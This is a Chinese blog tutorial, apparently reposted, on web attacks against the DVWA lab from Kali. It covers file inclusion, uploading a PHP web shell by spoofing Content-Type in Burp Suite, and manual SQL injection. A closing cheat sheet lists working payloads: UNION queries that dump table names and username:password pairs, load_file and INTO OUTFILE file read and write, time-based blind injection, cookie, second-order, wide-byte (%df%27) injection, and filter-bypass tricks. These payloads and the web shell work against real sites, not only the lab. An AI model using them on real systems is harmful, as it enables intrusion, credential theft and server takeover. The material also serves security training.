当前位置:   article > 正文

利用漏洞注入_怎么注入网站漏洞

怎么注入网站漏洞

文章目录


前言

在计算机安全领域,漏洞注入是一种常见的攻击技术,它利用软件漏洞或安全漏洞来攻击计算机系统。漏洞注入可以用于窃取数据、获取系统权限、破坏系统等各种恶意行为。为了保护计算机系统的安全,渗透测试和漏洞注入已经成为一个必不可少的领域。

本文将介绍漏洞注入的基本原理和方法,使用漏洞注入进行攻击的常见技术和工具,以及如何使用漏洞注入来防范攻击。此外,本文还提供了一系列实用的漏洞注入示例,以帮助读者更好地理解和应用这些技术。

无论您是一名网络安全专业人员还是一个普通用户,理解漏洞注入的原理和方法都非常重要。本文将深入探讨漏洞注入技术,以帮助您更好地理解和保护计算机系统的安全。

一、寻找文件包含漏洞

环境准备

1.开启OWASP靶机和Kali虚拟机

开启OWASP靶机

在这里插入图片描述
开启Kali虚拟机

在这里插入图片描述

2.kali中登陆dvwa(用户名和密码都是 admin),进入 File Inclusion 页面

在Kali中登录dvwa,进入File Inclusion页面

在这里插入图片描述

寻找文件包含漏洞案例

1.File Inclusion 页面提示要测试包含的内容,将浏览器的URL中的page改为index.php进行尝试

在File Inclusion页面提示要测试包含的内容,将浏览器的URL中的page改为index.php进行尝试

在这里插入图片描述

2.为了尝试攻击,需要知道存在本地的文件名称,知道有个 index.php 在根目录下,所以尝试下目录遍历和文件包含。提交参数为…/…/index.php,可以证明存在文件包含漏洞了(“…/”表示返回上一级目录)

现在我们将浏览器的URL中的page改为…/…/index.php进行尝试

在这里插入图片描述

3.下面尝试一下远程文件包含漏洞。首先在Kali启动 apache 服务器:service apache2 start

在Kali虚拟机中启动Apache服务器,命令如下:

service apache2 start
  • 1

在这里插入图片描述

4.现在利用这个文件包含漏洞,包含一下 Kali 的 apache 页面

在浏览器的URL中输入以下命令:

http://192.168.137.138/dvwa/vulnerabilities/fi/?page=http://192.168.137.167/index.html
  • 1

得到结果

在这里插入图片描述

二、文件包含和文件上传

环境准备

1.开启OWASP靶机和Kali虚拟机

开启OWASP靶机

在这里插入图片描述
开启Kali虚拟机

在这里插入图片描述

2.在kali的/root/Document路径下,创建webshell.php文件

在Kali的/root/Document路径下,创建webshell.php文件,内容如下:

<?
    system($_GET['cmd']);
    echo 'Type a command:<form method="get"
    action="../../hackable/uploads/webshell.php"><input
    type="text" name="cmd"/></form>';
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

在这里插入图片描述

3…kali中登陆dvwa(用户名和密码都是 admin),将安全等级设置为 medium(中级),进入 Upload页面

在Kali中登录dvwa,将安全等级设置为medium(中级)

在这里插入图片描述
进入Upload页面

在这里插入图片描述

文件包含和文件上传案例

1.在Upload页面的上传点上传webshell.php文件

在Upload页面点击Browse(浏览)文件

在这里插入图片描述
选择webshell.php文件,然后打开

在这里插入图片描述
最后上传该文件

在这里插入图片描述
当你尝试上传后缀为.php 的文件时,会发现上传失败,这是因为 DVWA 的中级限制对上传的文件后缀做了安全检查,只允许上传图片,所以在这里需要绕过这个限制上传 webshell.php

在这里插入图片描述

2.为了绕过上传限制,需要打开Burp suite 。先在浏览器的设置中打开手动网络代理,再打开Burp Suite,并打开 Burp Suite 的拦截开关

首先在浏览器打开手动网络代理

在这里插入图片描述
然后再打开Burp Suite工具,并打开Burp Suite的拦截开关

在这里插入图片描述
Intercept is on是拦截已打开
Intercept is off是拦截已关闭

3.重新选中webshell.php文件进行上传

重新选择webshell.php文件进行上传

在这里插入图片描述

4.点击上传之后,Burp Suite那边的数据包就会拦截下来

上传完之后,Burp Suite那边的数据包就会拦截下来

在这里插入图片描述
简单分析这个请求可以发现,请求是多部分的,并且每一部分都是对应的标题。

尤其注意上图中第二个 Content-Type,它包含了上传文件的内容,并且告诉服务器它是一个 PHP 文件

5.将第二个 Content-Type 中的值修改为 image/jpeg 后再放行请求包,然后就会看到上传成功的信息,记下提示的路径

我们将第二个Content-Type中的值修改为image/jpeg后再放行请求包

在这里插入图片描述
然后就会看到上传成功的信息

在这里插入图片描述

6.上传成功后,要使用上传的 webshell.php 来对服务器执行命令。转到 DVWA的 File Inclusion 页面

转到File Inclusion页面

在这里插入图片描述

7.将page的值改为之前记下的路径

在浏览器的URL中的page的值改为之前记下的路径

在这里插入图片描述

8.webshlee.php被成功加载

可以看到 webshell.php 被成功地加载,并且会有一个文本框,在文本框中输入/sbin/ifconfig

在这里插入图片描述
然后敲下回车键,你就可以看到出现了文本提示信息,这代表代码被成功执行

在这里插入图片描述

三、手动识别SQL注入

环境准备

1.开启OWASP靶机和Kali虚拟机

开启OWASP靶机

在这里插入图片描述
开启Kali虚拟机
在这里插入图片描述

2.kali中登陆dvwa(用户名和密码都是 admin),进入 SQL Injection(SQL 注入)页面,安全等级调为low

在Kali中登录dvwa,进入SQL Injection(SQL注入)界面,安全等级调为Low

在这里插入图片描述

手动识别SQL注入案例

1.通过输入一个数字来测试应用程序的正确行为

通过输入一个数字来测试应用程序的正常行为。将用 户 ID 设置为 1,然后单击“提交”。 通过查看结果,可以说应用程序查询数据库以查看是否存在 ID 等于 1 的用户并返回该用户的 ID、名称和姓氏。

在这里插入图片描述

2.测试如果发送应用程序不期望的内容会发生什么

接下来,测试如果发送应用程序不期望的内容会发生什么。在文本框中输入 1’(1 和一个单撇号)并提交该 ID。 如以下屏幕截图所示,应用程序应响应错误,结果表明很可能这个应用程序很容易受到攻击。

在这里插入图片描述

3.返回DVWA的SQL Injection页面

4.为了确保存在基于错误的 SQLi,尝试另一个输入:1’',这次没有错误。 这证实了应用程序中存在 SQLi 漏洞

为了确保存在基于错误的 SQLi,尝试另一个输入:1’',这次没有错误。 这证实了应用程序中存在 SQLi 漏洞。

在这里插入图片描述

5.现在将执行一个非常基本的 SQLi 攻击。 在文本框中输入’ or ‘1’='1 并提交

现在将执行一个非常基本的 SQLi 攻击。 在文本框中输入’ or ‘1’='1 并提交

在这里插入图片描述

总结

注入漏洞

注入漏洞是对于解释性语言,用户与服务器交互式可以输入语句,成为程序执行的一部分

SQL的基本语句

增:insert into 表名(列名) values(值)
删:delete from 表名 where 条件
改:update 表名 set 列名=新列名 where 条件
查:select 列名 from 表名 where 条件

mysql的基本知识

1、5.x的版本存在一个数据库information_schema,存储数据库的原信息。在schemata存数据库名,在table存数据库名和表名,在columns存数据库名表名和字段名。

5.x的版本存在一个数据库information_schema,存储数据库的原信息。在schemata存数据库名,在table存数据库名和表名,在columns存数据库名表名和字段名。

2、mysql注释:#或–空格或 /** / 。还有内联注释/* * / 只有mysql可以识别,利用此借以绕过防火墙

mysql注释:#或–空格或 /** / 。还有内联注释/* * / 只有mysql可以识别,利用此借以绕过防火墙

3、常用函数

user()查看当前mysql登录用户名
database()查看当前使用mysql数据库名
version()产看当前mysql版本

sql注入类型

1.基于报错的注入

id值一般闭合:id=1 id=‘1’ id=(‘1’) id=(“1”)
加‘ 进行判断,根据报错信息,进行闭合,并将之后的字符串注释掉,有双引号时无报错,用\进行转义看报错信息。
一般利用步骤:

(1)利用order by判断字段数
(2)利用union select 联合查询,获取表名 0‘ union select
1,group_concat(table_name),3 from information_schema.tables where
table_schema=database() --+
(3)获取字段名0’ union select
1,group_concat(column_name),3 from information_schema.columns where
table_name=‘users’ --+
(4)获取字段值0’ union select
1,group_concat(username,0x3a,passsword),3 from users --+
(5)也可以利用user()等函数输出一些信息。如0’ union select 1,user(),database()–+
post与get的区别:注入位置不同,无法通过浏览器直接修改和查看错误信息,需要通过插件来实现——使用bp截断

2.不在显示错误信息的盲注

盲注是向数据库发送true或flase的语句,通过返回的信息判断结果,有基于时间的盲注,有基于布尔的盲注
get基于时间与布尔的盲注
通过时间差来判断if (ascii(substr(database(),1,1))=115,1,sleep(3))substr是将数据库的名字的从一移动一个位置的字符,通过ascii变为ascii值与115即s的ascii值进行比较,如果正确就执行一次sleep(3)
通过length(database()) ascii(substr(database(),1,1))> < = 某个值来不断猜解数据库的名称
post基于时间布尔的盲注
与上基本相同,不过是用到bp,如时间可用 admin’ and (select (if(length(database())>5,sleep(5),null)))

3.mysql注入读写文件

读:

前提:尽量有较高大权限,secure_file_prv的值必须不为空(可以在mysql.ini中配置)
在注入点构造 0' union select 1,load_file("绝对路径,中间要用//隔开"),3--+
  • 1
  • 2

写:

前提:general_log=on(可以在mysql.ini中配置)
在注入点构造 0' union select 1,'写入的内容',3 into outfile '绝对路径,中间用//隔开' --+
  • 1
  • 2

4.http头的注入信息

一些对用户输入的进行过滤,但一些插入到程序中的http头的信息没有过滤,可能有referer,user_agent等

5.cookie注入

cookie存在客户端,如果带入函数中,也不加过滤,可以在cookie处构造注入。查看cookie:可以在浏览器通过document.cookie查看。一些可能通过base64编码,所以构造的语句要进行base64编码

6.二次注入

首先用户向数据库提交信息,之后利用这些信息进行注入
如,用户首先注册一个admin’-- -的账户,在修改密码时,即可将admin的账户的密码修改为任意密码
其中因为没有相应过滤,且修改密码时的语句update 表名 set password= where username= and password=
当带入admin’-- - 后将后面的注释

7.access偏移注入

当得知表名,却无法通过暴力破解得到相应的字段名。通过数据库的自连接使数据库乱序,显示出偏移处的字段
order by 判断字段数,比如为10,通过union select 1,2,3,……,6,* from 表名,则10-6=4, 10-4* 2=2即通过union select1,2,a.id,b.id ,* from(admin as a inner join admin as b on a.id=b.id)

8.宽字节注入

php中可能通过addslashes函数将单引号等转义

这时如果mysql使用的是gbk编码可以用宽字节注入绕过
即用%df%27(%27是单引号的url编码)通过函数转义后变为%df%5c%27(%5c为/)
这时因为gbk编码占用两个字符,所以%df%5c组成到一起,使引号能够起作用闭合

注入绕过

  • 大小写绕过

  • 双写绕过

  • 通过url编码绕过

  • mysql中通过内联注释绕过

  • 绕过去除字符串的注入:这时不能用注释符注释掉后面的引号,可以通过
    or ‘1’=‘1闭合后面的引号,如id=-1’ union select 1,database(),'3在3处闭合

  • 绕过去除and or的注入:可以大小写,双写,内联用&& ||等

  • 绕过空格:可以通过url编码

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/不正经/article/detail/596281
推荐阅读
相关标签
  

闽ICP备14008679号